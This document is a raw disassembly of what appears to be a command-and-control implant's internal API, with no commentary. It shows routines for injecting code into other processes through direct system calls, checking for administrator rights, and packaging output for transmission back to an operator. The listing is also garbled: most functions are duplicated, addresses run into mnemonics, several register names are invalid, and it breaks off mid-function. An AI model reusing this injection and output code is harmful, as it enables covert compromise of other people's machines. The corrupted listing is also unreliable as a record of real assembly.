140007f8bmov ecx, 64
140007f90xor ebx, ebx
140007f92lea r14, [rsp+80]
140007f97call [r13+932]
140007f9emov rbp, rax
140007fa1lea rax, [rsp+76]
140007fa6mov [rsp+56], rax
140007fab
140007fabloc_140007fab:
140007fabxor eax, eax
140007fadmov r9, [rsp+56]
140007fb2mov r8l, 1024
140007fb8mov rdx, r14
140007fbbmov [rsp+32], rax
140007fc0mov rcx, [r12]
140007fc4call [r13+916]
140007fcbmov r9l, [rsp+76]
140007fd0mov r8l, 1023
140007fd6lea rdx, [rip+0x251d3]
140007fddlea rcx, [rip+0x2267c]
140007fe4mov r15l, eax
140007fe7call printf
140007fecmov eax, [rsp+76]
140007ff0test eax, eax
140007ff2je 0x140008034
140007ff4lea edx, [rbx+rax]
140007ff7mov rcx, rbp
140007ffamov r8l, 2
140008000mov rsi, r14
140008003mov rbx, rdx
140008006call [r13+948]
14000800dmov ecx, [rsp+76]
140008011mov rbp, rax
140008014mov eax, ebx
140008016sub eax, ecx
140008018add rax, rbp
14000801bmov rdi, rax
14000801exor eax, eax
140008020rep movsb [rdi], [rsi]
140008022mov rdi, r14
140008025mov ecx, [rsp+76]
140008029rep stosb [rdi], al
14000802bdec r15l
14000802eje 0x140007fab
140008034
140008034loc_140008034:
140008034test ebx, ebx
140008036je 0x140008062
140008038mov edx, [rsp+1192]
14000803fmov ecx, 90
140008044call PackageCreateWithRequestID
140008049mov r8l, ebx
14000804cmov rdx, rbp
14000804fmov r12, rax
140008052mov rcx, rax
140008055call PackageAddBytes
14000805amov rcx, r12
14000805dcall PackageTransmit
140008062
140008062loc_140008062:
140008062test rbp, rbp
140008065je 0x14000807a
140008067mov ecx, ebx
140008069mov rdi, rbp
14000806cxor eax, eax
14000806erep stosb [rdi], al
140008070mov rcx, rbp
140008073call [r13+940]
14000807a
14000807aloc_14000807a:
14000807aadd rsp, 1112
140008081pop rbx
140008082pop rsi
140008083pop rdi
140008084pop rbp
140008085pop r12
140008087pop r13
140008089pop r14
14000808bpop r15
14000808dret
140007ef0
14000808e
14000808e // align 0x10
14000808e // align 0x10
140008090
140008090BeaconCleanupProcess:
140008090push rbx
140008091mov rbx, rcx
140008094sub rsp, 32
140008098mov rcx, [rcx]
14000809bcall SysNtClose
1400080a0test eax, eax
1400080a2jne 0x1400080b2
1400080a4mov rcx, [rbx+8]
1400080a8add rsp, 32
1400080acpop rbx
1400080adjmp 0x14001e9f0
1400080b2
1400080b2loc_1400080b2:
1400080b2add rsp, 32
1400080b6pop rbx
1400080b7ret
140008090
140008090BeaconCleanupProcess:
140008090push rbx
140008091mov rbx, rcx
140008094sub rsp, 32
140008098mov rcx, [rcx]
14000809bcall SysNtClose
1400080a0test eax, eax
1400080a2jne 0x1400080b2
1400080a4mov rcx, [rbx+8]
1400080a8add rsp, 32
1400080acpop rbx
1400080adjmp 0x14001e9f0
1400080b2
1400080b2loc_1400080b2:
1400080b2add rsp, 32
1400080b6pop rbx
1400080b7ret
140008090
1400080b8
1400080b8 // align 0x10
1400080b8 // align 0x10
1400080c0
1400080c0BeaconDataExtract:
1400080c0mov r8l, [rcx+16]
1400080c4xor eax, eax
1400080c6cmp r8l, 3
1400080cajle 0x1400080f4
1400080ccmov rax, [rcx+8]
1400080d0sub r8l, 4
1400080d4mov r9l, [rax]
1400080d7add rax, 4
1400080dbsub r8l, r9l
1400080demov [rcx+16], r8l
1400080e2movsxd r8, r9l
1400080e5add r8, rax
1400080e8mov [rcx+8], r8
1400080ectest rdx, rdx
1400080efje 0x1400080f4
1400080f1mov [rdx], r9l
1400080f4
1400080f4loc_1400080f4:
1400080f4ret
1400080c0
1400080c0BeaconDataExtract:
1400080c0mov r8l, [rcx+16]
1400080c4xor eax, eax
1400080c6cmp r8l, 3
1400080cajle 0x1400080f4
1400080ccmov rax, [rcx+8]
1400080d0sub r8l, 4
1400080d4mov r9l, [rax]
1400080d7add rax, 4
1400080dbsub r8l, r9l
1400080demov [rcx+16], r8l
1400080e2movsxd r8, r9l
1400080e5add r8, rax
1400080e8mov [rcx+8], r8
1400080ectest rdx, rdx
1400080efje 0x1400080f4
1400080f1mov [rdx], r9l
1400080f4
1400080f4loc_1400080f4:
1400080f4ret
1400080c0
1400080f5
1400080f5 // align 0x10
1400080f5 // align 0x10
140008100
140008100BeaconDataInt:
140008100mov edx, [rcx+16]
140008103xor eax, eax
140008105cmp edx, 3
140008108jle 0x14000811f
14000810amov r8, [rcx+8]
14000810esub edx, 4
140008111mov eax, [r8]
140008114add r8, 4
140008118mov [rcx+16], edx
14000811bmov [rcx+8], r8
14000811f
14000811floc_14000811f:
14000811fret
140008100
140008100BeaconDataInt:
140008100mov edx, [rcx+16]
140008103xor eax, eax
140008105cmp edx, 3
140008108jle 0x14000811f
14000810amov r8, [rcx+8]
14000810esub edx, 4
140008111mov eax, [r8]
140008114add r8, 4
140008118mov [rcx+16], edx
14000811bmov [rcx+8], r8
14000811f
14000811floc_14000811f:
14000811fret
140008100
140008124
140008124 // align 0x10
140008124 // align 0x10
140008130
140008130BeaconDataParse:
140008130test rcx, rcx
140008133je 0x14000814c
140008135sub r8l, 4
140008139mov [rcx], rdx
14000813cadd rdx, 4
140008140mov [rcx+16], r8l
140008144mov [rcx+20], r8l
140008148mov [rcx+8], rdx
14000814c
14000814cloc_14000814c:
14000814cret
140008130
140008130BeaconDataParse:
140008130test rcx, rcx
140008133je 0x14000814c
140008135sub r8l, 4
140008139mov [rcx], rdx
14000813cadd rdx, 4
140008140mov [rcx+16], r8l
140008144mov [rcx+20], r8l
140008148mov [rcx+8], rdx
14000814c
14000814cloc_14000814c:
14000814cret
140008130
14000814d
14000814d // align 0x10
14000814d // align 0x10
140008150
140008150BeaconDataShort:
140008150mov edx, [rcx+16]
140008153xor eax, eax
140008155cmp edx, 1
140008158jle 0x140008170
14000815amov r8, [rcx+8]
14000815esub edx, 2
140008161mov ax, [r8]
140008165add r8, 2
140008169mov [rcx+16], edx
14000816cmov [rcx+8], r8
140008170
140008170loc_140008170:
140008170ret
140008150
140008150BeaconDataShort:
140008150mov edx, [rcx+16]
140008153xor eax, eax
140008155cmp edx, 1
140008158jle 0x140008170
14000815amov r8, [rcx+8]
14000815esub edx, 2
140008161mov ax, [r8]
140008165add r8, 2
140008169mov [rcx+16], edx
14000816cmov [rcx+8], r8
140008170
140008170loc_140008170:
140008170ret
140008150
140008171
140008171 // align 0x10
140008171 // align 0x10
140008180
140008180BeaconFormatAlloc:
140008180test rcx, rcx
140008183je 0x1400081ba
140008185push rsi
140008186mov esi, edx
140008188mov edx, 1
14000818dpush rbx
14000818emov rbx, rcx
140008191mov ecx, esi
140008193sub rsp, 40
140008197mov rax, [rip+0x241d2]
14000819ecall [rax+932]
1400081a4mov [rbx+20], esi
1400081a7mov [rbx], rax
1400081aamov [rbx+8], rax
1400081aexor eax, eax
1400081b0mov [rbx+16], eax
1400081b3add rsp, 40
1400081b7pop rbx
1400081b8pop rsi
1400081b9ret
1400081ba
1400081baloc_1400081ba:
1400081baret
140008180
140008180BeaconFormatAlloc:
140008180test rcx, rcx
140008183je 0x1400081ba
140008185push rsi
140008186mov esi, edx
140008188mov edx, 1
14000818dpush rbx
14000818emov rbx, rcx
140008191mov ecx, esi
140008193sub rsp, 40
140008197mov rax, [rip+0x241d2]
14000819ecall [rax+932]
1400081a4mov [rbx+20], esi
1400081a7mov [rbx], rax
1400081aamov [rbx+8], rax
1400081aexor eax, eax
1400081b0mov [rbx+16], eax
1400081b3add rsp, 40
1400081b7pop rbx
1400081b8pop rsi
1400081b9ret
1400081ba
1400081baloc_1400081ba:
1400081baret
140008180
1400081bb
1400081bb // align 0x10
1400081bb // align 0x10
1400081c0
1400081c0BeaconFormatAppend:
1400081c0movsxd r9, r8l
1400081c3push rdi
1400081c4mov rax, rcx
1400081c7push rsi
1400081c8mov rsi, rdx
1400081cbmov rdi, [rcx+8]
1400081cfmov rcx, r9
1400081d2rep movsb [rdi], [rsi]
1400081d4pop rsi
1400081d5add [rax+8], r9
1400081d9add [rax+16], r8l
1400081ddpop rdi
1400081deret
1400081c0
1400081c0BeaconFormatAppend:
1400081c0movsxd r9, r8l
1400081c3push rdi
1400081c4mov rax, rcx
1400081c7push rsi
1400081c8mov rsi, rdx
1400081cbmov rdi, [rcx+8]
1400081cfmov rcx, r9
1400081d2rep movsb [rdi], [rsi]
1400081d4pop rsi
1400081d5add [rax+8], r9
1400081d9add [rax+16], r8l
1400081ddpop rdi
1400081deret
1400081c0
1400081df
1400081df // align 0x10
1400081df // align 0x10
1400081e0
1400081e0BeaconFormatFree:
1400081e0test rcx, rcx
1400081e3je 0x140008217
1400081e5push rbx
1400081e6mov rbx, rcx
1400081e9sub rsp, 32
1400081edmov rcx, [rcx]
1400081f0test rcx, rcx
1400081f3je 0x140008207
1400081f5mov rax, [rip+0x24174]
1400081fccall [rax+940]
140008202xor edx, edx
140008204mov [rbx], rdx
140008207
140008207loc_140008207:
140008207xor eax, eax
140008209mov [rbx+8], rax
14000820dmov [rbx+16], rax
140008211add rsp, 32
140008215pop rbx
140008216ret
140008217
140008217loc_140008217:
140008217ret
1400081e0
1400081e0BeaconFormatFree:
1400081e0test rcx, rcx
1400081e3je 0x140008217
1400081e5push rbx
1400081e6mov rbx, rcx
1400081e9sub rsp, 32
1400081edmov rcx, [rcx]
1400081f0test rcx, rcx
1400081f3je 0x140008207
1400081f5mov rax, [rip+0x24174]
1400081fccall [rax+940]
140008202xor edx, edx
140008204mov [rbx], rdx
140008207
140008207loc_140008207:
140008207xor eax, eax
140008209mov [rbx+8], rax
14000820dmov [rbx+16], rax
140008211add rsp, 32
140008215pop rbx
140008216ret
140008217
140008217loc_140008217:
140008217ret
1400081e0
140008218
140008218 // align 0x10
140008218 // align 0x10
140008220
140008220BeaconFormatInt:
140008220mov eax, [rcx+16]
140008223mov r8, rcx
140008226add eax, 3
140008229cmp eax, [rcx+20]
14000822cjge 0x14000824e
14000822esub rsp, 40
140008232mov ecx, edx
140008234call swap_endianess
140008239mov rdx, [r8+8]
14000823dmov [rdx], eax
14000823fadd [r8+16], 4
140008244add [r8+8], 4
140008249add rsp, 40
14000824dret
14000824e
14000824eloc_14000824e:
14000824eret
140008220
140008220BeaconFormatInt:
140008220mov eax, [rcx+16]
140008223mov r8, rcx
140008226add eax, 3
140008229cmp eax, [rcx+20]
14000822cjge 0x14000824e
14000822esub rsp, 40
140008232mov ecx, edx
140008234call swap_endianess
140008239mov rdx, [r8+8]
14000823dmov [rdx], eax
14000823fadd [r8+16], 4
140008244add [r8+8], 4
140008249add rsp, 40
14000824dret
14000824e
14000824eloc_14000824e:
14000824eret
140008220
14000824f
14000824f // align 0x10
14000824f // align 0x10
140008250
140008250BeaconFormatPrintf:
140008250push r12
140008252push rbp
140008253push rdi
140008254mov rdi, rdx
140008257push rsi
140008258push rbx
140008259mov rbx, rcx
14000825cxor ecx, ecx
14000825esub rsp, 64
140008262mov r12, [rip+0x24107]
140008269mov [rsp+136], r9
140008271lea r9, [rsp+128]
140008279mov [rsp+128], r8
140008281mov r8, rdx
140008284xor edx, edx
140008286mov [rsp+56], r9
14000828bmov [rsp+40], r9
140008290call [r12+1612]
140008298mov esi, eax
14000829aadd eax, [rbx+16]
14000829dcmp eax, [rbx+20]
1400082a0jg 0x1400082c8
1400082a2mov r9, [rsp+40]
1400082a7movsxd rbp, esi
1400082aamov rcx, [rbx+8]
1400082aemov r8, rdi
1400082b1mov rdx, rbp
1400082b4mov [rsp+56], r9
1400082b9call [r12+1612]
1400082c1add [rbx+16], esi
1400082c4add [rbx+8], rbp
1400082c8
1400082c8loc_1400082c8:
1400082c8add rsp, 64
1400082ccpop rbx
1400082cdpop rsi
1400082cepop rdi
1400082cfpop rbp
1400082d0pop r12
1400082d2ret
140008250
140008250BeaconFormatPrintf:
140008250push r12
140008252push rbp
140008253push rdi
140008254mov rdi, rdx
140008257push rsi
140008258push rbx
140008259mov rbx, rcx
14000825cxor ecx, ecx
14000825esub rsp, 64
140008262mov r12, [rip+0x24107]
140008269mov [rsp+136], r9
140008271lea r9, [rsp+128]
140008279mov [rsp+128], r8
140008281mov r8, rdx
140008284xor edx, edx
140008286mov [rsp+56], r9
14000828bmov [rsp+40], r9
140008290call [r12+1612]
140008298mov esi, eax
14000829aadd eax, [rbx+16]
14000829dcmp eax, [rbx+20]
1400082a0jg 0x1400082c8
1400082a2mov r9, [rsp+40]
1400082a7movsxd rbp, esi
1400082aamov rcx, [rbx+8]
1400082aemov r8, rdi
1400082b1mov rdx, rbp
1400082b4mov [rsp+56], r9
1400082b9call [r12+1612]
1400082c1add [rbx+16], esi
1400082c4add [rbx+8], rbp
1400082c8
1400082c8loc_1400082c8:
1400082c8add rsp, 64
1400082ccpop rbx
1400082cdpop rsi
1400082cepop rdi
1400082cfpop rbp
1400082d0pop r12
1400082d2ret
140008250
1400082d3
1400082d3 // align 0x10
1400082d3 // align 0x10
1400082e0
1400082e0BeaconFormatReset:
1400082e0mov rdx, rcx
1400082e3push rdi
1400082e4xor eax, eax
1400082e6movsxd rcx, [rcx+20]
1400082eamov rdi, [rdx]
1400082edrep stosb [rdi], al
1400082efmov rax, [rdx]
1400082f2pop rdi
1400082f3mov [rdx+8], rax
1400082f7mov eax, [rdx+20]
1400082famov [rdx+16], eax
1400082fdret
1400082e0
1400082e0BeaconFormatReset:
1400082e0mov rdx, rcx
1400082e3push rdi
1400082e4xor eax, eax
1400082e6movsxd rcx, [rcx+20]
1400082eamov rdi, [rdx]
1400082edrep stosb [rdi], al
1400082efmov rax, [rdx]
1400082f2pop rdi
1400082f3mov [rdx+8], rax
1400082f7mov eax, [rdx+20]
1400082famov [rdx+16], eax
1400082fdret
1400082e0
1400082fe
1400082fe // align 0x10
1400082fe // align 0x10
140008300
140008300BeaconFormatToString:
140008300mov eax, [rcx+16]
140008303mov [rdx], eax
140008305mov rax, [rcx]
140008308ret
140008300
140008300BeaconFormatToString:
140008300mov eax, [rcx+16]
140008303mov [rdx], eax
140008305mov rax, [rcx]
140008308ret
140008300
140008309
140008309 // align 0x10
140008309 // align 0x10
140008310
140008310BeaconGetSpawnTo:
140008310test rdx, rdx
140008313je 0x140008358
140008315push rdi
140008316movsxd rdi, r8l
140008319push rsi
14000831apush rbx
14000831bmov rbx, rdx
14000831esub rsp, 32
140008322mov rax, [rip+0x24047]
140008329test ecx, ecx
14000832bmov rsi, [rax+264]
140008332cmove rsi, [rax+256]
14000833amov rcx, rsi
14000833dcall StringLengthW
140008342lea rcx, [rax+rax]
140008346cmp rdi, rcx
140008349jb 0x140008350
14000834bmov rdi, rbx
14000834erep movsb [rdi], [rsi]
140008350
140008350loc_140008350:
140008350add rsp, 32
140008354pop rbx
140008355pop rsi
140008356pop rdi
140008357ret
140008358
140008358loc_140008358:
140008358ret
140008310
140008310BeaconGetSpawnTo:
140008310test rdx, rdx
140008313je 0x140008358
140008315push rdi
140008316movsxd rdi, r8l
140008319push rsi
14000831apush rbx
14000831bmov rbx, rdx
14000831esub rsp, 32
140008322mov rax, [rip+0x24047]
140008329test ecx, ecx
14000832bmov rsi, [rax+264]
140008332cmove rsi, [rax+256]
14000833amov rcx, rsi
14000833dcall StringLengthW
140008342lea rcx, [rax+rax]
140008346cmp rdi, rcx
140008349jb 0x140008350
14000834bmov rdi, rbx
14000834erep movsb [rdi], [rsi]
140008350
140008350loc_140008350:
140008350add rsp, 32
140008354pop rbx
140008355pop rsi
140008356pop rdi
140008357ret
140008358
140008358loc_140008358:
140008358ret
140008310
140008359
140008359 // align 0x10
140008359 // align 0x10
140008360
140008360BeaconInjectProcess:
140008360push rdi
140008361mov rdi, r8
140008364push rsi
140008365movsxd rsi, r9l
140008368xor r9l, r9l
14000836bpush rbx
14000836cmov rbx, rcx
14000836fadd rsp, -128
140008373mov [rsp+104], r9
140008378mov [rsp+112], r9
14000837dmov [rsp+120], r9
140008382test rcx, rcx
140008385jne 0x14000839f
140008387mov ecx, edx
140008389mov edx, 0x1fffff
14000838ecall ProcessOpen
140008393mov rbx, rax
140008396test rax, rax
140008399je 0x14000849c
14000839f
14000839floc_14000839f:
14000839fmov [rsp+120], rsi
1400083a4lea rsi, [rsp+120]
1400083a9xor r8l, r8l
1400083acmov rcx, rbx
1400083afmov [rsp+40], 64
1400083b7lea rdx, [rsp+112]
1400083bcmov r9, rsi
1400083bfmov [rsp+32], 12288
1400083c7call SysNtAllocateVirtualMemory
1400083cctest eax, eax
1400083cejs 0x14000849c
1400083d4xor r8l, r8l
1400083d7mov r9, [rsp+120]
1400083dcmov rdx, [rsp+112]
1400083e1mov rcx, rbx
1400083e4mov [rsp+32], r8
1400083e9mov r8, rdi
1400083eccall SysNtWriteVirtualMemory
1400083f1test eax, eax
1400083f3js 0x14000849c
1400083f9xor r8l, r8l
1400083fclea rdx, [rsp+104]
140008401mov r9, rsi
140008404mov rcx, rbx
140008407mov [rsp+40], 64
14000840fmovsxd rax, [rsp+208]
140008417mov [rsp+32], 12288
14000841fmov [rsp+120], rax
140008424call SysNtAllocateVirtualMemory
140008429test eax, eax
14000842bjs 0x14000849c
14000842dxor ecx, ecx
14000842fmov r9, [rsp+120]
140008434mov rdx, [rsp+104]
140008439mov [rsp+32], rcx
14000843emov r8, [rsp+200]
140008446mov rcx, rbx
140008449call SysNtWriteVirtualMemory
14000844etest eax, eax
140008450js 0x14000849c
140008452xor eax, eax
140008454xor edx, edx
140008456mov r9, rbx
140008459xor r8l, r8l
14000845cmov [rsp+80], rax
140008461xor ecx, ecx
140008463mov [rsp+72], rax
140008468mov [rsp+64], rax
14000846dmov [rsp+56], rax
140008472mov rax, [rsp+104]
140008477mov [rsp+48], edx
14000847bmov edx, 0x20000000
140008480mov [rsp+40], rax
140008485movsxd rax, [rsp+192]
14000848dadd rax, [rsp+112]
140008492mov [rsp+32], rax
140008497call SysNtCreateThreadEx
14000849c
14000849cloc_14000849c:
14000849csub rsp, -128
1400084a0pop rbx
1400084a1pop rsi
1400084a2pop rdi
1400084a3ret
140008360
140008360BeaconInjectProcess:
140008360push rdi
140008361mov rdi, r8
140008364push rsi
140008365movsxd rsi, r9l
140008368xor r9l, r9l
14000836bpush rbx
14000836cmov rbx, rcx
14000836fadd rsp, -128
140008373mov [rsp+104], r9
140008378mov [rsp+112], r9
14000837dmov [rsp+120], r9
140008382test rcx, rcx
140008385jne 0x14000839f
140008387mov ecx, edx
140008389mov edx, 0x1fffff
14000838ecall ProcessOpen
140008393mov rbx, rax
140008396test rax, rax
140008399je 0x14000849c
14000839f
14000839floc_14000839f:
14000839fmov [rsp+120], rsi
1400083a4lea rsi, [rsp+120]
1400083a9xor r8l, r8l
1400083acmov rcx, rbx
1400083afmov [rsp+40], 64
1400083b7lea rdx, [rsp+112]
1400083bcmov r9, rsi
1400083bfmov [rsp+32], 12288
1400083c7call SysNtAllocateVirtualMemory
1400083cctest eax, eax
1400083cejs 0x14000849c
1400083d4xor r8l, r8l
1400083d7mov r9, [rsp+120]
1400083dcmov rdx, [rsp+112]
1400083e1mov rcx, rbx
1400083e4mov [rsp+32], r8
1400083e9mov r8, rdi
1400083eccall SysNtWriteVirtualMemory
1400083f1test eax, eax
1400083f3js 0x14000849c
1400083f9xor r8l, r8l
1400083fclea rdx, [rsp+104]
140008401mov r9, rsi
140008404mov rcx, rbx
140008407mov [rsp+40], 64
14000840fmovsxd rax, [rsp+208]
140008417mov [rsp+32], 12288
14000841fmov [rsp+120], rax
140008424call SysNtAllocateVirtualMemory
140008429test eax, eax
14000842bjs 0x14000849c
14000842dxor ecx, ecx
14000842fmov r9, [rsp+120]
140008434mov rdx, [rsp+104]
140008439mov [rsp+32], rcx
14000843emov r8, [rsp+200]
140008446mov rcx, rbx
140008449call SysNtWriteVirtualMemory
14000844etest eax, eax
140008450js 0x14000849c
140008452xor eax, eax
140008454xor edx, edx
140008456mov r9, rbx
140008459xor r8l, r8l
14000845cmov [rsp+80], rax
140008461xor ecx, ecx
140008463mov [rsp+72], rax
140008468mov [rsp+64], rax
14000846dmov [rsp+56], rax
140008472mov rax, [rsp+104]
140008477mov [rsp+48], edx
14000847bmov edx, 0x20000000
140008480mov [rsp+40], rax
140008485movsxd rax, [rsp+192]
14000848dadd rax, [rsp+112]
140008492mov [rsp+32], rax
140008497call SysNtCreateThreadEx
14000849c
14000849cloc_14000849c:
14000849csub rsp, -128
1400084a0pop rbx
1400084a1pop rsi
1400084a2pop rdi
1400084a3ret
140008360
1400084a4
1400084a4 // align 0x10
1400084a4 // align 0x10
1400084b0
1400084b0BeaconInjectTemporaryProcess:
1400084b0push rbp
1400084b1movsxd r8, r8l
1400084b4push rdi
1400084b5mov rdi, rdx
1400084b8push rsi
1400084b9movsxd rsi, r9l
1400084bcpush rbx
1400084bdmov rbx, rcx
1400084c0sub rsp, 136
1400084c7lea rbp, [rsp+120]
1400084ccmov [rsp+120], r8
1400084d1lea rdx, [rsp+104]
1400084d6xor r8l, r8l
1400084d9mov [rsp+40], 64
1400084e1mov r9, rbp
1400084e4mov [rsp+32], 12288
1400084ecmov rcx, [rcx]
1400084efcall SysNtAllocateVirtualMemory
1400084f4test eax, eax
1400084f6jne 0x1400085bc
1400084fcxor r8l, r8l
1400084ffmov r9, [rsp+120]
140008504mov rdx, [rsp+104]
140008509mov [rsp+32], r8
14000850emov rcx, [rbx]
140008511mov r8, rdi
140008514call SysNtWriteVirtualMemory
140008519test eax, eax
14000851bjne 0x1400085bc
140008521mov [rsp+40], 64
140008529xor r8l, r8l
14000852clea rdx, [rsp+112]
140008531mov r9, rbp
140008534mov [rsp+32], 12288
14000853cmovsxd rax, [rsp+216]
140008544mov rcx, [rbx]
140008547mov [rsp+120], rax
14000854ccall SysNtAllocateVirtualMemory
140008551test eax, eax
140008553jne 0x1400085bc
140008555xor ecx, ecx
140008557mov r9, [rsp+120]
14000855cmov rdx, [rsp+112]
140008561mov [rsp+32], rcx
140008566mov r8, [rsp+208]
14000856emov rcx, [rbx]
140008571call SysNtWriteVirtualMemory
140008576test eax, eax
140008578jne 0x1400085bc
14000857axor eax, eax
14000857cxor edx, edx
14000857eadd rsi, [rsp+104]
140008583xor r8l, r8l
140008586mov [rsp+80], rax
14000858bxor ecx, ecx
14000858dmov [rsp+72], rax
140008592mov [rsp+64], rax
140008597mov [rsp+56], rax
14000859cmov rax, [rsp+112]
1400085a1mov [rsp+48], edx
1400085a5mov edx, 0x20000000
1400085aamov [rsp+40], rax
1400085afmov [rsp+32], rsi
1400085b4mov r9, [rbx]
1400085b7call SysNtCreateThreadEx
1400085bc
1400085bcloc_1400085bc:
1400085bcadd rsp, 136
1400085c3pop rbx
1400085c4pop rsi
1400085c5pop rdi
1400085c6pop rbp
1400085c7ret
1400084b0
1400084b0BeaconInjectTemporaryProcess:
1400084b0push rbp
1400084b1movsxd r8, r8l
1400084b4push rdi
1400084b5mov rdi, rdx
1400084b8push rsi
1400084b9movsxd rsi, r9l
1400084bcpush rbx
1400084bdmov rbx, rcx
1400084c0sub rsp, 136
1400084c7lea rbp, [rsp+120]
1400084ccmov [rsp+120], r8
1400084d1lea rdx, [rsp+104]
1400084d6xor r8l, r8l
1400084d9mov [rsp+40], 64
1400084e1mov r9, rbp
1400084e4mov [rsp+32], 12288
1400084ecmov rcx, [rcx]
1400084efcall SysNtAllocateVirtualMemory
1400084f4test eax, eax
1400084f6jne 0x1400085bc
1400084fcxor r8l, r8l
1400084ffmov r9, [rsp+120]
140008504mov rdx, [rsp+104]
140008509mov [rsp+32], r8
14000850emov rcx, [rbx]
140008511mov r8, rdi
140008514call SysNtWriteVirtualMemory
140008519test eax, eax
14000851bjne 0x1400085bc
140008521mov [rsp+40], 64
140008529xor r8l, r8l
14000852clea rdx, [rsp+112]
140008531mov r9, rbp
140008534mov [rsp+32], 12288
14000853cmovsxd rax, [rsp+216]
140008544mov rcx, [rbx]
140008547mov [rsp+120], rax
14000854ccall SysNtAllocateVirtualMemory
140008551test eax, eax
140008553jne 0x1400085bc
140008555xor ecx, ecx
140008557mov r9, [rsp+120]
14000855cmov rdx, [rsp+112]
140008561mov [rsp+32], rcx
140008566mov r8, [rsp+208]
14000856emov rcx, [rbx]
140008571call SysNtWriteVirtualMemory
140008576test eax, eax
140008578jne 0x1400085bc
14000857axor eax, eax
14000857cxor edx, edx
14000857eadd rsi, [rsp+104]
140008583xor r8l, r8l
140008586mov [rsp+80], rax
14000858bxor ecx, ecx
14000858dmov [rsp+72], rax
140008592mov [rsp+64], rax
140008597mov [rsp+56], rax
14000859cmov rax, [rsp+112]
1400085a1mov [rsp+48], edx
1400085a5mov edx, 0x20000000
1400085aamov [rsp+40], rax
1400085afmov [rsp+32], rsi
1400085b4mov r9, [rbx]
1400085b7call SysNtCreateThreadEx
1400085bc
1400085bcloc_1400085bc:
1400085bcadd rsp, 136
1400085c3pop rbx
1400085c4pop rsi
1400085c5pop rdi
1400085c6pop rbp
1400085c7ret
1400084b0
1400085c8
1400085c8 // align 0x10
1400085c8 // align 0x10
1400085d0
1400085d0BeaconIsAdmin:
1400085d0push rsi
1400085d1xor esi, esi
1400085d3push rbx
1400085d4sub rsp, 40
1400085d8call TokenCurrentHandle
1400085ddtest rax, rax
1400085e0je 0x1400085f7
1400085e2mov rbx, rax
1400085e5mov rcx, rax
1400085e8call TokenElevated
1400085edmov rcx, rbx
1400085f0mov esi, eax
1400085f2call SysNtClose
1400085f7
1400085f7loc_1400085f7:
1400085f7add rsp, 40
1400085fbmov eax, esi
1400085fdpop rbx
1400085fepop rsi
1400085ffret
1400085d0
1400085d0BeaconIsAdmin:
1400085d0push rsi
1400085d1xor esi, esi
1400085d3push rbx
1400085d4sub rsp, 40
1400085d8call TokenCurrentHandle
1400085ddtest rax, rax
1400085e0je 0x1400085f7
1400085e2mov rbx, rax
1400085e5mov rcx, rax
1400085e8call TokenElevated
1400085edmov rcx, rbx
1400085f0mov esi, eax
1400085f2call SysNtClose
1400085f7
1400085f7loc_1400085f7:
1400085f7add rsp, 40
1400085fbmov eax, esi
1400085fdpop rbx
1400085fepop rsi
1400085ffret
1400085d0
140008600
140008600BeaconOutput:
140008600push rbp
140008601mov r9l, ecx
140008604mov ebp, ecx
140008606lea rcx, [rip+0x23144]
14000860dpush rdi
14000860emov edi, r8l
140008611push rsi
140008612mov rsi, rdx
140008615push rbx
140008616sub rsp, 72
14000861amov [rsp+40], r8l
14000861fmov r8l, 236
140008625mov [rsp+32], rdx
14000862alea rdx, [rip+0x2414f]
140008631call printf
140008636mov rcx, [rsp+104]
14000863bxor eax, eax
14000863dlea rdx, [rsp+60]
140008642mov [rsp+60], eax
140008646call GetRequestIDForCallingObjectFile
14000864btest eax, eax
14000864dje 0x14000865f
14000864fmov edx, [rsp+60]
140008653mov ecx, 94
140008658call PackageCreateWithRequestID
14000865djmp 0x140008669
14000865f
14000865floc_14000865f:
14000865fmov ecx, 94
140008664call PackageCreate
140008669
140008669loc_140008669:
140008669mov rbx, rax
14000866cmov edx, ebp
14000866emov rcx, rax
140008671call PackageAddInt32
140008676mov rcx, rbx
140008679movsxd r8, edi
14000867cmov rdx, rsi
14000867fcall PackageAddBytes
140008684add rsp, 72
140008688mov rcx, rbx
14000868bpop rbx
14000868cpop rsi
14000868dpop rdi
14000868epop rbp
14000868fjmp 0x140018b90
140008600
140008600BeaconOutput:
140008600push rbp
140008601mov r9l, ecx
140008604mov ebp, ecx
140008606lea rcx, [rip+0x23144]
14000860dpush rdi
14000860emov edi, r8l
140008611push rsi
140008612mov rsi, rdx
140008615push rbx
140008616sub rsp, 72
14000861amov [rsp+40], r8l
14000861fmov r8l, 236
140008625mov [rsp+32], rdx
14000862alea rdx, [rip+0x2414f]
140008631call printf
140008636mov rcx, [rsp+104]
14000863bxor eax, eax
14000863dlea rdx, [rsp+60]
140008642mov [rsp+60], eax
140008646call GetRequestIDForCallingObjectFile
14000864btest eax, eax
14000864dje 0x14000865f
14000864fmov edx, [rsp+60]
140008653mov ecx, 94
140008658call PackageCreateWithRequestID
14000865djmp 0x140008669
14000865f
14000865floc_14000865f:
14000865fmov ecx, 94
140008664call PackageCreate
140008669
140008669loc_140008669:
140008669mov rbx, rax
14000866cmov edx, ebp
14000866emov rcx, rax
140008671call PackageAddInt32
140008676mov rcx, rbx
140008679movsxd r8, edi
14000867cmov rdx, rsi
14000867fcall PackageAddBytes
140008684add rsp, 72
140008688mov rcx, rbx
14000868bpop rbx
14000868cpop rsi
14000868dpop rdi
14000868epop rbp
14000868fjmp 0x140018b90
140008600
140008694
140008694 // align 0x10
140008694 // align 0x10
1400086a0
1400086a0BeaconPrintf:
1400086a0push r15
1400086a2lea r15, [rip+0x242b7]
1400086a9push r14
1400086abpush r13
1400086admov r13l, ecx
1400086b0push r12
1400086b2push rbp
1400086b3push rdi
1400086b4mov rdi, rdx
1400086b7push rsi
1400086b8push rbx
1400086b9sub rsp, 88
1400086bdmov [rsp+32], rdx
1400086c2mov rdx, r15
1400086c5mov [rsp+176], r8
1400086cdmov r8l, 201
1400086d3mov [rsp+184], r9
1400086dbmov r9l, ecx
1400086delea rcx, [rip+0x23016]
1400086e5call printf
1400086eaxor edx, edx
1400086ecmov rcx, [rsp+152]
1400086f4xor eax, eax
1400086f6mov [rsp+68], edx
1400086falea rdx, [rsp+68]
1400086ffmov [rsp+72], rax
140008704call GetRequestIDForCallingObjectFile
140008709test eax, eax
14000870bje 0x14000871d
14000870dmov edx, [rsp+68]
140008711mov ecx, 94
140008716call PackageCreateWithRequestID
14000871bjmp 0x140008727
14000871d
14000871dloc_14000871d:
14000871dmov ecx, 94
140008722call PackageCreate
140008727
140008727loc_140008727:
140008727mov r12, [rip+0x23c42]
14000872emov rsi, rax
140008731mov r8, rdi
140008734xor edx, edx
